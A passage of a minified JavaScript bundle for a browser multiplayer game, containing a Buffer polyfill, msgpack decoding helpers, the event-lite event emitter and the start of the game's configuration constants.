r = n % 256,
s.push(r),
s.push(i);
return s
}(t, e.length - n), e, n, i)
}
function T(e, t, n) {
return 0 === t && n === e.length ? i.fromByteArray(e) :
i.fromByteArray(e.slice(t, n))
}
function I(e, t, n) {
n = Math.min(e.length, n);
for (var i = [], r = t; r < n; ) {
var s, a, o, c, l = e[r], h = null, u = l > 239 ? 4 : l > 223 ? 3 :
l > 191 ? 2 : 1;
if (r + u <= n)
switch (u) {
case 1:
l < 128 && (h = l);
break;
case 2:
128 == (192 & (s = e[r + 1])) && (c = (31 & l) << 6 | 63 &
s) > 127 && (h = c);
break;
case 3:
s = e[r + 1],
a = e[r + 2],
128 == (192 & s) && 128 == (192 & a) && (c = (15 & l) << 12
| (63 & s) << 6 | 63 & a) > 2047 && (c < 55296 || c > 57343) && (h = c);
break;
case 4:
s = e[r + 1],
a = e[r + 2],
o = e[r + 3],
128 == (192 & s) && 128 == (192 & a) && 128 == (192 & o) &&
(c = (15 & l) << 18 | (63 & s) << 12 | (63 & a) << 6 | 63 & o) > 65535 && c <
1114112 && (h = c)
}
null === h ? (h = 65533,
u = 1) : h > 65535 && (h -= 65536,
i.push(h >>> 10 & 1023 | 55296),
h = 56320 | 1023 & h),
i.push(h),
r += u
}
return function(e) {
var t = e.length;
if (t <= E)
return String.fromCharCode.apply(String, e);
for (var n = "", i = 0; i < t; )
n += String.fromCharCode.apply(String, e.slice(i, i += E));
return n
}(i)
}
t.Buffer = c,
t.SlowBuffer = function(e) {
return +e != e && (e = 0),
c.alloc(+e)
}
,
t.INSPECT_MAX_BYTES = 50,
c.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ?
e.TYPED_ARRAY_SUPPORT : function() {
try {
var e = new Uint8Array(1);
return e.__proto__ = {
__proto__: Uint8Array.prototype,
foo: function() {
return 42
}
},
42 === e.foo() && "function" == typeof e.subarray && 0 ===
e.subarray(1, 1).byteLength
} catch (e) {
return !1
}
}(),
t.kMaxLength = a(),
c.poolSize = 8192,
c._augment = function(e) {
return e.__proto__ = c.prototype,
e
}
,
c.from = function(e, t, n) {
return l(null, e, t, n)
}
,
c.TYPED_ARRAY_SUPPORT && (c.prototype.__proto__ = Uint8Array.prototype,
c.__proto__ = Uint8Array,
"undefined" != typeof Symbol && Symbol.species && c[Symbol.species] === c
&& Object.defineProperty(c, Symbol.species, {
value: null,
configurable: !0
})),
c.alloc = function(e, t, n) {
return function(e, t, n, i) {
return h(t),
t <= 0 ? o(e, t) : void 0 !== n ? "string" == typeof i ? o(e,
t).fill(n, i) : o(e, t).fill(n) : o(e, t)
}(null, e, t, n)
}
,
c.allocUnsafe = function(e) {
return u(null, e)
}
,
c.allocUnsafeSlow = function(e) {
return u(null, e)
}
,
c.isBuffer = function(e) {
return !(null == e || !e._isBuffer)
}
,
c.compare = function(e, t) {
if (!c.isBuffer(e) || !c.isBuffer(t))
throw new TypeError("Arguments must be Buffers");
if (e === t)
return 0;
for (var n = e.length, i = t.length, r = 0, s = Math.min(n, i); r < s;
++r)
if (e[r] !== t[r]) {
n = e[r],
i = t[r];
break
}
return n < i ? -1 : i < n ? 1 : 0
}
,
c.isEncoding = function(e) {
switch (String(e).toLowerCase()) {
case "hex":
case "utf8":
case "utf-8":
case "ascii":
case "latin1":
case "binary":
case "base64":
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return !0;
default:
return !1
}
}
,
c.concat = function(e, t) {
if (!s(e))
throw new TypeError('"list" argument must be an Array of Buffers');
if (0 === e.length)
return c.alloc(0);
var n;
if (void 0 === t)
for (t = 0,
n = 0; n < e.length; ++n)
t += e[n].length;
var i = c.allocUnsafe(t)
, r = 0;
for (n = 0; n < e.length; ++n) {
var a = e[n];
if (!c.isBuffer(a))
throw new TypeError('"list" argument must be an Array of
Buffers');
a.copy(i, r),
r += a.length
}
return i
}
,
c.byteLength = p,
c.prototype._isBuffer = !0,
c.prototype.swap16 = function() {
var e = this.length;
if (e % 2 != 0)
throw new RangeError("Buffer size must be a multiple of 16-bits");
for (var t = 0; t < e; t += 2)
g(this, t, t + 1);
return this
}
,
c.prototype.swap32 = function() {
var e = this.length;
if (e % 4 != 0)
throw new RangeError("Buffer size must be a multiple of 32-bits");
for (var t = 0; t < e; t += 4)
g(this, t, t + 3),
g(this, t + 1, t + 2);
return this
}
,
c.prototype.swap64 = function() {
var e = this.length;
if (e % 8 != 0)
throw new RangeError("Buffer size must be a multiple of 64-bits");
for (var t = 0; t < e; t += 8)
g(this, t, t + 7),
g(this, t + 1, t + 6),
g(this, t + 2, t + 5),
g(this, t + 3, t + 4);
return this
}
,
c.prototype.toString = function() {
var e = 0 | this.length;
return 0 === e ? "" : 0 === arguments.length ? I(this, 0, e) :
function(e, t, n) {
var i = !1;
if ((void 0 === t || t < 0) && (t = 0),
t > this.length)
return "";
if ((void 0 === n || n > this.length) && (n = this.length),
n <= 0)
return "";
if ((n >>>= 0) <= (t >>>= 0))
return "";
for (e || (e = "utf8"); ; )
switch (e) {
case "hex":
return P(this, t, n);
case "utf8":
case "utf-8":
return I(this, t, n);
case "ascii":
return M(this, t, n);
case "latin1":
case "binary":
return A(this, t, n);
case "base64":
return T(this, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return B(this, t, n);
default:
if (i)
throw new TypeError("Unknown encoding: " + e);
e = (e + "").toLowerCase(),
i = !0
}
}
.apply(this, arguments)
}
,
c.prototype.equals = function(e) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
return this === e || 0 === c.compare(this, e)
}
,
c.prototype.inspect = function() {
var e = ""
, n = t.INSPECT_MAX_BYTES;
return this.length > 0 && (e = this.toString("hex", 0, n).match(/.
{2}/g).join(" "),
this.length > n && (e += " ... ")),
"<Buffer " + e + ">"
}
,
c.prototype.compare = function(e, t, n, i, r) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
if (void 0 === t && (t = 0),
void 0 === n && (n = e ? e.length : 0),
void 0 === i && (i = 0),
void 0 === r && (r = this.length),
t < 0 || n > e.length || i < 0 || r > this.length)
throw new RangeError("out of range index");
if (i >= r && t >= n)
return 0;
if (i >= r)
return -1;
if (t >= n)
return 1;
if (this === e)
return 0;
for (var s = (r >>>= 0) - (i >>>= 0), a = (n >>>= 0) - (t >>>= 0), o =
Math.min(s, a), l = this.slice(i, r), h = e.slice(t, n), u = 0; u < o; ++u)
if (l[u] !== h[u]) {
s = l[u],
a = h[u];
break
}
return s < a ? -1 : a < s ? 1 : 0
}
,
c.prototype.includes = function(e, t, n) {
return -1 !== this.indexOf(e, t, n)
}
,
c.prototype.indexOf = function(e, t, n) {
return m(this, e, t, n, !0)
}
,
c.prototype.lastIndexOf = function(e, t, n) {
return m(this, e, t, n, !1)
}
,
c.prototype.write = function(e, t, n, i) {
if (void 0 === t)
i = "utf8",
n = this.length,
t = 0;
else if (void 0 === n && "string" == typeof t)
i = t,
n = this.length,
t = 0;
else {
if (!isFinite(t))
throw new Error("Buffer.write(string, encoding, offset[,
length]) is no longer supported");
t |= 0,
isFinite(n) ? (n |= 0,
void 0 === i && (i = "utf8")) : (i = n,
n = void 0)
}
var r = this.length - t;
if ((void 0 === n || n > r) && (n = r),
e.length > 0 && (n < 0 || t < 0) || t > this.length)
throw new RangeError("Attempt to write outside buffer bounds");
i || (i = "utf8");
for (var s = !1; ; )
switch (i) {
case "hex":
return k(this, e, t, n);
case "utf8":
case "utf-8":
return v(this, e, t, n);
case "ascii":
return w(this, e, t, n);
case "latin1":
case "binary":
return b(this, e, t, n);
case "base64":
return x(this, e, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return S(this, e, t, n);
default:
if (s)
throw new TypeError("Unknown encoding: " + i);
i = ("" + i).toLowerCase(),
s = !0
}
}
,
c.prototype.toJSON = function() {
return {
type: "Buffer",
data: Array.prototype.slice.call(this._arr || this, 0)
}
}
;
var E = 4096;
function M(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(127 & e[r]);
return i
}
function A(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(e[r]);
return i
}
function P(e, t, n) {
var i = e.length;
(!t || t < 0) && (t = 0),
(!n || n < 0 || n > i) && (n = i);
for (var r = "", s = t; s < n; ++s)
r += F(e[s]);
return r
}
function B(e, t, n) {
for (var i = e.slice(t, n), r = "", s = 0; s < i.length; s += 2)
r += String.fromCharCode(i[s] + 256 * i[s + 1]);
return r
}
function C(e, t, n) {
if (e % 1 != 0 || e < 0)
throw new RangeError("offset is not uint");
if (e + t > n)
throw new RangeError("Trying to access beyond buffer length")
}
function O(e, t, n, i, r, s) {
if (!c.isBuffer(e))
throw new TypeError('"buffer" argument must be a Buffer instance');
if (t > r || t < s)
throw new RangeError('"value" argument is out of bounds');
if (n + i > e.length)
throw new RangeError("Index out of range")
}
function R(e, t, n, i) {
t < 0 && (t = 65535 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 2); r < s; ++r)
e[n + r] = (t & 255 << 8 * (i ? r : 1 - r)) >>> 8 * (i ? r : 1 - r)
}
function j(e, t, n, i) {
t < 0 && (t = 4294967295 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 4); r < s; ++r)
e[n + r] = t >>> 8 * (i ? r : 3 - r) & 255
}
function _(e, t, n, i, r, s) {
if (n + i > e.length)
throw new RangeError("Index out of range");
if (n < 0)
throw new RangeError("Index out of range")
}
function U(e, t, n, i, s) {
return s || _(e, 0, n, 4),
r.write(e, t, n, i, 23, 4),
n + 4
}
function D(e, t, n, i, s) {
return s || _(e, 0, n, 8),
r.write(e, t, n, i, 52, 8),
n + 8
}
c.prototype.slice = function(e, t) {
var n, i = this.length;
if ((e = ~~e) < 0 ? (e += i) < 0 && (e = 0) : e > i && (e = i),
(t = void 0 === t ? i : ~~t) < 0 ? (t += i) < 0 && (t = 0) : t > i &&
(t = i),
t < e && (t = e),
c.TYPED_ARRAY_SUPPORT)
(n = this.subarray(e, t)).__proto__ = c.prototype;
else {
var r = t - e;
n = new c(r,void 0);
for (var s = 0; s < r; ++s)
n[s] = this[s + e]
}
return n
}
,
c.prototype.readUIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i
}
,
c.prototype.readUIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e + --t], r = 1; t > 0 && (r *= 256); )
i += this[e + --t] * r;
return i
}
,
c.prototype.readUInt8 = function(e, t) {
return t || C(e, 1, this.length),
this[e]
}
,
c.prototype.readUInt16LE = function(e, t) {
return t || C(e, 2, this.length),
this[e] | this[e + 1] << 8
}
,
c.prototype.readUInt16BE = function(e, t) {
return t || C(e, 2, this.length),
this[e] << 8 | this[e + 1]
}
,
c.prototype.readUInt32LE = function(e, t) {
return t || C(e, 4, this.length),
(this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 * this[e +
3]
}
,
c.prototype.readUInt32BE = function(e, t) {
return t || C(e, 4, this.length),
16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 | this[e +
3])
}
,
c.prototype.readIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i >= (r *= 128) && (i -= Math.pow(2, 8 * t)),
i
}
,
c.prototype.readIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = t, r = 1, s = this[e + --i]; i > 0 && (r *= 256); )
s += this[e + --i] * r;
return s >= (r *= 128) && (s -= Math.pow(2, 8 * t)),
s
}
,
c.prototype.readInt8 = function(e, t) {
return t || C(e, 1, this.length),
128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
}
,
c.prototype.readInt16LE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e] | this[e + 1] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt16BE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e + 1] | this[e] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt32LE = function(e, t) {
return t || C(e, 4, this.length),
this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] << 24
}
,
c.prototype.readInt32BE = function(e, t) {
return t || C(e, 4, this.length),
this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3]
}
,
c.prototype.readFloatLE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !0, 23, 4)
}
,
c.prototype.readFloatBE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !1, 23, 4)
}
,
c.prototype.readDoubleLE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !0, 52, 8)
}
,
c.prototype.readDoubleBE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !1, 52, 8)
}
,
c.prototype.writeUIntLE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = 1
, s = 0;
for (this[t] = 255 & e; ++s < n && (r *= 256); )
this[t + s] = e / r & 255;
return t + n
}
,
c.prototype.writeUIntBE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = n - 1
, s = 1;
for (this[t + r] = 255 & e; --r >= 0 && (s *= 256); )
this[t + r] = e / s & 255;
return t + n
}
,
c.prototype.writeUInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 255, 0),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeUInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e, t, !0),
t + 2
}
,
c.prototype.writeUInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e, t, !1),
t + 2
}
,
c.prototype.writeUInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24,
this[t + 2] = e >>> 16,
this[t + 1] = e >>> 8,
this[t] = 255 & e) : j(this, e, t, !0),
t + 4
}
,
c.prototype.writeUInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e, t, !1),
t + 4
}
,
c.prototype.writeIntLE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = 0
, a = 1
, o = 0;
for (this[t] = 255 & e; ++s < n && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s - 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeIntBE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = n - 1
, a = 1
, o = 0;
for (this[t + s] = 255 & e; --s >= 0 && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s + 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 127, -128),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
e < 0 && (e = 255 + e + 1),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e, t, !0),
t + 2
}
,
c.prototype.writeInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e, t, !1),
t + 2
}
,
c.prototype.writeInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8,
this[t + 2] = e >>> 16,
this[t + 3] = e >>> 24) : j(this, e, t, !0),
t + 4
}
,
c.prototype.writeInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
e < 0 && (e = 4294967295 + e + 1),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e, t, !1),
t + 4
}
,
c.prototype.writeFloatLE = function(e, t, n) {
return U(this, e, t, !0, n)
}
,
c.prototype.writeFloatBE = function(e, t, n) {
return U(this, e, t, !1, n)
}
,
c.prototype.writeDoubleLE = function(e, t, n) {
return D(this, e, t, !0, n)
}
,
c.prototype.writeDoubleBE = function(e, t, n) {
return D(this, e, t, !1, n)
}
,
c.prototype.copy = function(e, t, n, i) {
if (n || (n = 0),
i || 0 === i || (i = this.length),
t >= e.length && (t = e.length),
t || (t = 0),
i > 0 && i < n && (i = n),
i === n)
return 0;
if (0 === e.length || 0 === this.length)
return 0;
if (t < 0)
throw new RangeError("targetStart out of bounds");
if (n < 0 || n >= this.length)
throw new RangeError("sourceStart out of bounds");
if (i < 0)
throw new RangeError("sourceEnd out of bounds");
i > this.length && (i = this.length),
e.length - t < i - n && (i = e.length - t + n);
var r, s = i - n;
if (this === e && n < t && t < i)
for (r = s - 1; r >= 0; --r)
e[r + t] = this[r + n];
else if (s < 1e3 || !c.TYPED_ARRAY_SUPPORT)
for (r = 0; r < s; ++r)
e[r + t] = this[r + n];
else
Uint8Array.prototype.set.call(e, this.subarray(n, n + s), t);
return s
}
,
c.prototype.fill = function(e, t, n, i) {
if ("string" == typeof e) {
if ("string" == typeof t ? (i = t,
t = 0,
n = this.length) : "string" == typeof n && (i = n,
n = this.length),
1 === e.length) {
var r = e.charCodeAt(0);
r < 256 && (e = r)
}
if (void 0 !== i && "string" != typeof i)
throw new TypeError("encoding must be a string");
if ("string" == typeof i && !c.isEncoding(i))
throw new TypeError("Unknown encoding: " + i)
} else
"number" == typeof e && (e &= 255);
if (t < 0 || this.length < t || this.length < n)
throw new RangeError("Out of range index");
if (n <= t)
return this;
var s;
if (t >>>= 0,
n = void 0 === n ? this.length : n >>> 0,
e || (e = 0),
"number" == typeof e)
for (s = t; s < n; ++s)
this[s] = e;
else {
var a = c.isBuffer(e) ? e : z(new c(e,i).toString())
, o = a.length;
for (s = 0; s < n - t; ++s)
this[s + t] = a[s % o]
}
return this
}
;
var L = /[^+\/0-9A-Za-z-_]/g;
function F(e) {
return e < 16 ? "0" + e.toString(16) : e.toString(16)
}
function z(e, t) {
var n;
t = t || 1 / 0;
for (var i = e.length, r = null, s = [], a = 0; a < i; ++a) {
if ((n = e.charCodeAt(a)) > 55295 && n < 57344) {
if (!r) {
if (n > 56319) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
if (a + 1 === i) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
r = n;
continue
}
if (n < 56320) {
(t -= 3) > -1 && s.push(239, 191, 189),
r = n;
continue
}
n = 65536 + (r - 55296 << 10 | n - 56320)
} else
r && (t -= 3) > -1 && s.push(239, 191, 189);
if (r = null,
n < 128) {
if ((t -= 1) < 0)
break;
s.push(n)
} else if (n < 2048) {
if ((t -= 2) < 0)
break;
s.push(n >> 6 | 192, 63 & n | 128)
} else if (n < 65536) {
if ((t -= 3) < 0)
break;
s.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
} else {
if (!(n < 1114112))
throw new Error("Invalid code point");
if ((t -= 4) < 0)
break;
s.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128, 63
& n | 128)
}
}
return s
}
function H(e) {
return i.toByteArray(function(e) {
if ((e = function(e) {
return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
}(e).replace(L, "")).length < 2)
return "";
for (; e.length % 4 != 0; )
e += "=";
return e
}(e))
}
function V(e, t, n, i) {
for (var r = 0; r < i && !(r + n >= t.length || r >= e.length); ++r)
t[r + n] = e[r];
return r
}
}
).call(this, n(12))
}
, function(e, t) {
var n;
n = function() {
return this
}();
try {
n = n || new Function("return this")()
} catch (e) {
"object" == typeof window && (n = window)
}
e.exports = n
}
, function(e, t) {
for (var n = t.uint8 = new Array(256), i = 0; i <= 255; i++)
n[i] = r(i);
function r(e) {
return function(t) {
var n = t.reserve(1);
t.buffer[n] = e
}
}
}
, function(e, t, n) {
t.FlexDecoder = s,
t.FlexEncoder = a;
var i = n(0)
, r = "BUFFER_SHORTAGE";
function s() {
if (!(this instanceof s))
return new s
}
function a() {
if (!(this instanceof a))
return new a
}
function o() {
throw new Error("method not implemented: write()")
}
function c() {
throw new Error("method not implemented: fetch()")
}
function l() {
return this.buffers && this.buffers.length ? (this.flush(),
this.pull()) : this.fetch()
}
function h(e) {
(this.buffers || (this.buffers = [])).push(e)
}
function u() {
return (this.buffers || (this.buffers = [])).shift()
}
function f(e) {
return function(t) {
for (var n in e)
t[n] = e[n];
return t
}
}
s.mixin = f({
bufferish: i,
write: function(e) {
var t = this.offset ? i.prototype.slice.call(this.buffer,
this.offset) : this.buffer;
this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e,
this.offset = 0
},
fetch: c,
flush: function() {
for (; this.offset < this.buffer.length; ) {
var e, t = this.offset;
try {
e = this.fetch()
} catch (e) {
if (e && e.message != r)
throw e;
this.offset = t;
break
}
this.push(e)
}
},
push: h,
pull: u,
read: l,
reserve: function(e) {
var t = this.offset
, n = t + e;
if (n > this.buffer.length)
throw new Error(r);
return this.offset = n,
t
},
offset: 0
}),
s.mixin(s.prototype),
a.mixin = f({
bufferish: i,
write: o,
fetch: function() {
var e = this.start;
if (e < this.offset) {
var t = this.start = this.offset;
return i.prototype.slice.call(this.buffer, e, t)
}
},
flush: function() {
for (; this.start < this.offset; ) {
var e = this.fetch();
e && this.push(e)
}
},
push: h,
pull: function() {
var e = this.buffers || (this.buffers = [])
, t = e.length > 1 ? this.bufferish.concat(e) : e[0];
return e.length = 0,
t
},
read: l,
reserve: function(e) {
var t = 0 | e;
if (this.buffer) {
var n = this.buffer.length
, i = 0 | this.offset
, r = i + t;
if (r < n)
return this.offset = r,
i;
this.flush(),
e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
}
return e = Math.max(e, this.minBufferSize),
this.buffer = this.bufferish.alloc(e),
this.start = 0,
this.offset = t,
0
},
send: function(e) {
var t = e.length;
if (t > this.minBufferSize)
this.flush(),
this.push(e);
else {
var n = this.reserve(t);
i.prototype.copy.call(e, this.buffer, n)
}
},
maxBufferSize: 65536,
minBufferSize: 2048,
offset: 0,
start: 0
}),
a.mixin(a.prototype)
}
, function(e, t, n) {
t.decode = function(e, t) {
var n = new i(t);
return n.write(e),
n.read()
}
;
var i = n(16).DecodeBuffer
}
, function(e, t, n) {
t.DecodeBuffer = r;
var i = n(8).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && (this.options = e,
e.codec)) {
var t = this.codec = e.codec;
t.bufferish && (this.bufferish = t.bufferish)
}
}
n(14).FlexDecoder.mixin(r.prototype),
r.prototype.codec = i,
r.prototype.fetch = function() {
return this.codec.decode(this)
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE;
t.getReadFormat = function(e) {
var t = o.hasArrayBuffer && e && e.binarraybuffer
, n = e && e.int64;
return {
map: l && e && e.usemap ? u : h,
array: f,
str: d,
bin: t ? g : p,
ext: m,
uint8: y,
uint16: v,
uint32: b,
uint64: S(8, n ? E : T),
int8: k,
int16: w,
int32: x,
int64: S(8, n ? M : I),
float32: S(4, A),
float64: S(8, P)
}
}
,
t.readUint8 = y;
var o = n(0)
, c = n(6)
, l = "undefined" != typeof Map;
function h(e, t) {
var n, i = {}, r = new Array(t), s = new Array(t), a = e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i[r[n]] = s[n];
return i
}
function u(e, t) {
var n, i = new Map, r = new Array(t), s = new Array(t), a = e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i.set(r[n], s[n]);
return i
}
function f(e, t) {
for (var n = new Array(t), i = e.codec.decode, r = 0; r < t; r++)
n[r] = i(e);
return n
}
function d(e, t) {
var n = e.reserve(t)
, i = n + t;
return c.toString.call(e.buffer, "utf-8", n, i)
}
function p(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.from(r)
}
function g(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.Uint8Array.from(r).buffer
}
function m(e, t) {
var n = e.reserve(t + 1)
, i = e.buffer[n++]
, r = n + t
, s = e.codec.getExtUnpacker(i);
if (!s)
throw new Error("Invalid ext type: " + (i ? "0x" + i.toString(16) :
i));
return s(c.slice.call(e.buffer, n, r))
}
function y(e) {
var t = e.reserve(1);
return e.buffer[t]
}
function k(e) {
var t = e.reserve(1)
, n = e.buffer[t];
return 128 & n ? n - 256 : n
}
function v(e) {
var t = e.reserve(2)
, n = e.buffer;
return n[t++] << 8 | n[t]
}
function w(e) {
var t = e.reserve(2)
, n = e.buffer
, i = n[t++] << 8 | n[t];
return 32768 & i ? i - 65536 : i
}
function b(e) {
var t = e.reserve(4)
, n = e.buffer;
return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
}
function x(e) {
var t = e.reserve(4)
, n = e.buffer;
return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
}
function S(e, t) {
return function(n) {
var i = n.reserve(e);
return t.call(n.buffer, i, !0)
}
}
function T(e) {
return new s(this,e).toNumber()
}
function I(e) {
return new a(this,e).toNumber()
}
function E(e) {
return new s(this,e)
}
function M(e) {
return new a(this,e)
}
function A(e) {
return i.read(this, e, !1, 23, 4)
}
function P(e) {
return i.read(this, e, !1, 52, 8)
}
}
, function(e, t, n) {
!function(t) {
e.exports = t;
var n = "listeners"
, i = {
on: function(e, t) {
return a(this, e).push(t),
this
},
once: function(e, t) {
var n = this;
return i.originalListener = t,
a(n, e).push(i),
n;
function i() {
s.call(n, e, i),
t.apply(this, arguments)
}
},
off: s,
emit: function(e, t) {
var n = this
, i = a(n, e, !0);
if (!i)
return !1;
var r = arguments.length;
if (1 === r)
i.forEach((function(e) {
e.call(n)
}
));
else if (2 === r)
i.forEach((function(e) {
e.call(n, t)
}
));
else {
var s = Array.prototype.slice.call(arguments, 1);
i.forEach((function(e) {
e.apply(n, s)
}
))
}
return !!i.length
}
};
function r(e) {
for (var t in i)
e[t] = i[t];
return e
}
function s(e, t) {
var i;
if (arguments.length) {
if (t) {
if (i = a(this, e, !0)) {
if (!(i = i.filter((function(e) {
return e !== t && e.originalListener !== t
}
))).length)
return s.call(this, e);
this[n][e] = i
}
} else if ((i = this[n]) && (delete i[e],
!Object.keys(i).length))
return s.call(this)
} else
delete this[n];
return this
}
function a(e, t, i) {
if (!i || e[n]) {
var r = e[n] || (e[n] = {});
return r[t] || (r[t] = [])
}
}
r(t.prototype),
t.mixin = r
}((/**
* event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
*
* @copyright Yusuke Kawasaki
* @license MIT
* @constructor
* @see https://github.com/kawanet/event-lite
* @see http://kawanet.github.io/event-lite/EventLite.html
* @example
* var EventLite = require("event-lite");
*
* function MyClass() {...} // your class
*
* EventLite.mixin(MyClass.prototype); // import event methods
*
* var obj = new MyClass();
* obj.on("foo", function() {...}); // add event listener
* obj.once("bar", function() {...}); // add one-time event listener
* obj.emit("foo"); // dispatch event
* obj.emit("bar"); // dispatch another event
* obj.off("foo"); // remove event listener
*/
function e() {
if (!(this instanceof e))
return new e
}
))
}
, function(e, t, n) {
(function(t) {
//e.exports.maxScreenWidth = 1920,
//e.exports.maxScreenHeight = 1080,
e.exports.maxScreenWidth = 1920,
e.exports.maxScreenHeight = 1080,
e.exports.serverUpdateRate = 9,
e.exports.maxPlayers = t && -1 != t.argv.indexOf("--largeserver") ? 80 :
50,
e.exports.maxPlayersHard = e.exports.maxPlayers + 10,
e.exports.collisionDepth = 6,
e.exports.minimapRate = 3e3,
e.exports.colGrid = 10,
e.exports.clientSendRate = 5,
e.exports.healthBarWidth = 50,
e.exports.reloadBarWidth = 22,
e.exports.healthBarPad = 4.5,
e.exports.iconPadding = 15,
e.exports.barWidth = 50,
e.exports.barPad = 4.5,
e.exports.iconPad = .9,
e.exports.deathFadeout = 0,
e.exports.crownIconScale = 60,
e.exports.crownPad = 35,
e.exports.chatCountdown = 3e3,
e.exports.chatCooldown = 500,
e.exports.inSandbox = t && "mm_exp" === t.env.VULTR_SCHEME,
e.exports.maxAge = 100,
